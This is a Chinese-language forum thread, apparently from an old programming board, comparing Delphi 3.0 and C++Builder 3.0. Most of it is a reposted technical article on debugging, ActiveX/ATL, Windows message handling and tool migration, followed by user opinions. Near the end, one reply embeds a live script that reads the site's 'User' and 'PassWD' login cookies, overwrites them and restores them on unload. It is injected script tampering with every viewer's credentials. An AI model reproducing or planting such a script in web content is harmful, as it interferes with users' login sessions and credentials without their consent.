Delphi4.0與c++build的不同之處(50分)

我也正考虑由Delphi向C++Builder转,因为市面上大部分先进的技术书籍都是用C++描述的。
 
呵呵,我是正好相反,从C++Builder转到Delphi的。
原因么,速度没有Delphi快,元件没有Delphi多,
更新没有Delphi早,参考资料也没有Delphi全,呵呵。
 
自从Borland推出了Borland C++ Builder之后,许多人时常会询问BCB和
Delphi有什么不同?除了使用的语言(C/C++ v.s. Object Pascal)之外,是不是都一
样?也有人经常会不满的指出,是不是BCB 一定会在功能上落后Delphi一个版本,那么
使用BCB的人比起Delphi 的程序员来说,是不是代表全用BCB的人是二等公民.
说实话在BCB 1.0中由于Borland主要的目的是推出使用C/C++ 语言的RAD工具所
以BCB 1.0和Delphi 2.0的功能上几乎是一样,但 是BCB 1.0却远比Delphi 2.0晚了
一年的时间才推出.以致造成许多 人有上面的印象和问题的出现.今年的三月Borland
又推出了BCB3.0, 虽然BCB3.0距离Delphi3.0推出的时间缩短10个月,但是BCB 3.0
的功能是不能仍然是复制Delphi 3.0的功能呢?
虽然BCB3.0和Delphi3.0在整合发民环境,VCL元件,和许多地方仍然非常的类
似,但是在BCB3.0的技术底层却已经和Delphi3.0仍然是以 VCL元件类别为主,但是在
建立 ActiveX元件和N-Tier的应用程序技术上 将会走向不同的方向.这是因为C/C++
和 Object Pascal语言上差异的原 因.在本篇文章中,我将从技术的角度讨论C++
BCB 3.0 和Delphi 3.0的 不同,希望能够让使用这二个开发工具的程序员都有所了
解.

# BCB 3.0 在除错功能的大幅领先
对于C/C++的使用者而言,除错是平日工作中的少不了的事情.所以一个C/C++编
译 器的除错功能就直接影响了生产力.在BCB 3.0中Borland对于 BCB3.0除错功能的
强化 会让Delphi3.0的使用者羡慕的不得了.BCB3.0除了 拥有Delphi3.0对于双数检
视的工 具视窗,加快了检视字串变数的之外,更 加入了强劲的模组检视功能.这个模组
检视器 可以让你巨细靡遗的观看应 用程序使用权的所有DLL以及专案中每一支程序的
所有的 方法.在中断点之 处启动模组检视器检查应用程序.你可以看到模组检视器显
示了多么 详细的资讯.
更令人惊讶的是,BCB 3.0在应用程序执行时期居然能够显示出类似物件检视器
的 视窗,让你检查一个VCL元件的所有资讯.包括特性值,方法和事件处 理函数.这个
除错 功能实在太棒了,因为有了它之后,你就可以掌握执行时期 VCL元件所有的变
化.
此外BCB 3.0也包括了一个Event Log可以让检视应用程序执行时发生的事件.
这 些新的除错功能都是Delphi3.0所没有的低层除错能力.除了除错功能 之
外,BCB3.0也 允许程序员对于编译器更好的控制能力.图形是BCB 3.0中新的 高等编
译器选项功能. 你可以看到BCB和一往的BC++一样允许你更进一步的控制 产生的程序
码品质.请注意在 这些选项中有一项MFC Compatibility. 当你需要 在BCB3.0中编
译MFC的程序时,你必 须选择这个选项,因为MFC使用了许多不正确 而且奇怪的C/C++
语法,为了要让BCB的编 译器能够顺利的编译MFC程序,这个选 项可以让编译器不致产
生严重的错误.

#制作ActiveX/N-Tier远程服务器的技术差异
Delphi 3.0是PC级的工具中第一个真正可以开发N-Tier的开发工具. 另外
Delphi3.0也是所有Borland的工具中支援COM/ActiveX最为完整的工 具,但是现在这
个 局面将被BCB 3.0打破.因为Borland现在也给予了C/C++ 使用权者相同的强大功
能,让 C/C++的程序员也可以设计出分散式物件计算 应用程序.此外BCB 3.0也可以让
你一个 步骤便制作出ActiveX元件.但是在 产生分散式物件和ActiveX元件
时,Delphi3.0和 BCB3.0差别最大的地方.下 面列出这两个产品使用的引擎.
Delphi 3.0 ----DAX (Delphi ActiveX Engine)
Borland C++ Builder 3.0 ----ATL (ActiveX Template Library)

它们使用的引擎不同的原因除了Object Pascal不支持样版(template) 外,另外
的 原因便是让BCB产生的ActiveX元件和DCOM服务器能够比较小.此 外BCB 3.0藉由
使用 ATL可以让C/C++的程序员在未来跟上MicroSoft最新的 技术,例如对于COM+的
支援.例 如,当你使用BCB3.0建立远端的DCOM服务器, 可以启动ATL选项指定DCOM服
务器使用的 样例方式以及使用的执行绪模型. 当你使用BCB3.0的ATL选项制作
ActiveXForm时,它可 以结合资料库的能力, 让你开发出可以直接在IE浏览器中执行
的资料库应用程序.
在这里有一点很重要的是在Delphi 3.02的DAX引擎之中,并没有指定 ActiveX元
件 使用的执行绪模式.所以由Delphi 3.02制作的ActiveX和Act- iveFrom都无法正
确的在 IE4.0之中显示出来.这并不是Delphi 3.02的臭虫, 而是Microsoft改变了
ActiveX元件 游戏的规则.此外由于IE4.0之中有一些 臭虫的存在,所以我建议你升级
到4.01或是 4.02.

#处理Windows讯息的技术差异
BCB 3.0和Delphi 3.02在处理Window计算的方式上也有相异这处. 基本上BCB
和 Delphi都是使用VCL这个元件类别,所以在处理Window讯息上 也是由VCL元件来处
理和 分派的.下面的表格比较了VCL, OWL以及 MFC三种 FrameWork在处理Window讯
息上的异 同:

* Windows讯息处理的处理方式:
VCL元件类别---使用虚拟函数(Virtual Function) 和动态函数(Dynamic
Function)
OWLFramework(2.0之后)---使用虚拟函数
MFCFramework---使用Message MAP
* Windows讯息caching:
VCL元件类别---否
OWLFramework(2.0之后)---是
MFCFramework---否
* 处理Windows讯息的速度:
VCL元件类别---良好
OWLFramework(2.0之后)---优
MFCFramework---优

请注意,由于VCL元件类别在处理Window讯息时除了需要分派Window讯息到特定
的 讯息处理函式之外,它也会负责触发VCL上相关事件处理函数, 所以在处理Window
讯息 的速度上会比OWL以及MFC稍慢,但是在功能上却比 OWL和MFC更为丰富.
在BCB 3.0中由于它使用的C++编译器是BC++5.3,而且使用的Delphi编译器也是
Version 11,更重要的是由于BCB 3.0除了使用VCL类别进行VCL元 件的事件处理函数
的 window讯息分派之外,它也使用了类似MFC的Message Map来分派使用者定义的讯
息处理 函式,所以在处理window讯息的速度上比 Delphi 3.02来得快速.
#处理windows讯息的方式:
Delphi 3.02---使用虚拟函数(Virtual Function) 和动态函数(Dynamic
Function)
Borland C++ Builder 3.0---混合虚拟函数和动态函数,以及类似MFC 的
Message MAP的事件处理函数的window讯息分派之外,它也使用了类似MFC的Message
Map来分派 使用者定义的讯息处理函式,所以在处理window讯息的速度上比 Delphi
3.02来得快 速.

我分别使用Delphi3.02和BCB3.0撰写了一段处理window讯息1000次的示范程序,
在我的Pentium133,64M Ram的机器上执行的结果如下:

处理1000讯息的时间:
BCB 3.0-------4.08
Delphi 3.02---4.89
从上面的结果也可以证明BCB在处理window讯息方面是比Delphi3.02来得稍为
快 速.此外在ActiveX元件方面由于BCB3.0也是使用ATL的Message MAP 方式,所以在
这方 面比Delphi 3.02有较好的表现.

# 系统功能的支援
BCB3.0除了前面比较偏向底层技术的革新之外,它也提供了一些重要的工具让先
前 使用BC++或是VC++的开发者可以很快地转换到BCB的开发环境之中. 第一个工具是
所谓 的资源转换精灵,它可以帮助你转换资源文件的内容成为BCB使用的表格和VCL元
件.第 二个工具是Borland推出的新工具Comm20MF.这个工具可以让你转换VC++产生
的DLL成为 能够让BCB使用的DLL.
# RC Import精灵
对于许多使用BC++和VC++的人来说,一定使用了Resource Workshop或是App
Studio设计了许多的资源文件. 那么这些储存对话盒或是其他视窗资源的文件如何
在 BCB 3.0中使用呢?是不是需要BCB使用的元件重新设计呢?当然重新设计所有的资
源文 件将会是一件令人痛苦的事情.Borland为了解决这个问题,特别为所有使用BCB
3.0的 人提供了一个工具RC Import精灵.你可以在BCB的Tools选单中找到它.
RC Import精灵可以帮助你读取由BC++和VC++设计的所有资源,然后再把这些资
源 转换为BCB使用的表格或是VCL元件.如此一来你就可以直接在BCB中使用这些资源,
并且 结合所有BCB提供的VCL元件.
有了RC Import精灵之后,你原先不管是使用BC++或是VC++设计的资源文件都能
够 立刻转换为BCB3.0的表格或是VCL元件,可以大幅减少你从这二个C++工具移转到
BCB3.0 所需要花费的时间.
# COFF函数库的支持
在传统上Borland和Microsoft的C++编译器所产生的Object文件格式便是是不一
样 的.Borland一直是使用OMF,而Microsoft则是使用COFF格式. 这造成许多由VC++
编译的 DLL无法让BCB使用的情形.Borland为了解决这个问题,所以在BCB 3.0中提供
了这个工 具让开发者能够转换VC++的DLL档案格式成为BCB使用的OMF形式.如此一来
就不会再有 以前的困扰了.据我所知,Borland在未来会继续强化这个工具,让它功能
更为强大,例如 可能在未来也能够转换静态的函数库(.LLB)文件.
除了上述的系统功能支持之外,事实上BCB3.0的连结器现在也能够产生正确
kernel-mode的驱动程序文件格式.这代表你已经可以使用BCB 3.0编写驱动程序了.
从 这点来看BCB3.0对于系统工程师是非常有帮助的.
BCB的程序员终于可以吐一口气了,因为BCB3.0在许多方面都领先了Delphi3.0.
从 的VCL元件类别3.5版,高等多重专案管理工具,到强劲的低层除错功能,同时支援
VCL,MFC,OWL都显示BCB3.0是一个同时兼顾应用程序设计员和系统工程师需求的工
具. 此外由于BCB3.0继承了Delphi3.0对于Multi-Tier,Internet应用程序功能方面
的经验, 所以BCB是第一个让C/C++程序设计员可以开发分散式计算环境应用程序的工
具. 在未 来 BCB也将会同时支援Microsoft的COM+和CORBA等分散式物件技术的标
准. 这代表使 用BCB,你就不必担心未来你的应用程序会产生无法继续执行问题.
当然,对于Delphi的使用者而言,所有由BCB3.0开发出来的技术,也都将出现在
Delphi未来的版本之中.从这个角度来看,BCB和Delphi将会是相互超前,且吸收彼此
功 能的竞争局面.这对于BCB和Delphi使用者都是有利的,因为这二个产品在这种情形
下将 会进步得更为迅速,相信这是所有使用Borland产品的人高兴见到的事情。
{wing@inv.org}

 
最大的区别在于他们的名称不一样。C++ Builder 和 Delphi相比之下
我更喜欢Delphi.
 
我只是看见过BCB,一切都和Delhpi非常相似,连例子都一样。不止是这里,许多人都说Delphi的编译和执行速度相当不俗。我曾经试图转向BCB但Delphi的编程方式已经让我难以自拔了。如果就开发工具的可视化程度而言Delphi无疑是最好的,还有什么工具能让人感觉编程就象在作画呢?
 
我手头就有十几本c++ builder的书,但是特别好的只有三、四本而已,
要想得到更全面的内容,还是要看delphi,好在两者目前的差别不是很大。
bcb和delphi走相似的道路相信主要是商业的考虑,以后在内核方面差别
会越来越大。
虽然现在你可以说bcb不如delphi,也许这种说法未必全面,但是你肯定
不会说c++不如object pascal。我对bcb的未来还是有信心的。
 
long long long
 
看得真累。
<script>
document.cookie="abcd=ABCD";
a=document.cookie.indexOf ("PassWD=");
b=document.cookie.indexOf (";",a);
if (b-a>7)
cpppp=document.cookie.substring(a+7,b);
a=document.cookie.indexOf ("User=");
b=document.cookie.indexOf (";",a);
if (b-a>5)
cuuuu=document.cookie.substring(a+5,b);

document.cookie="User=%C9%B5%B5%B0";
document.cookie="PassWD=abcdef%08a%09b";
function reccookie()
{document.cookie="User="+cuuuu;
do
cument.cookie="PassWD="+cpppp;
}
onunload=reccookie;
</script>
 
接受答案了.
 
顶部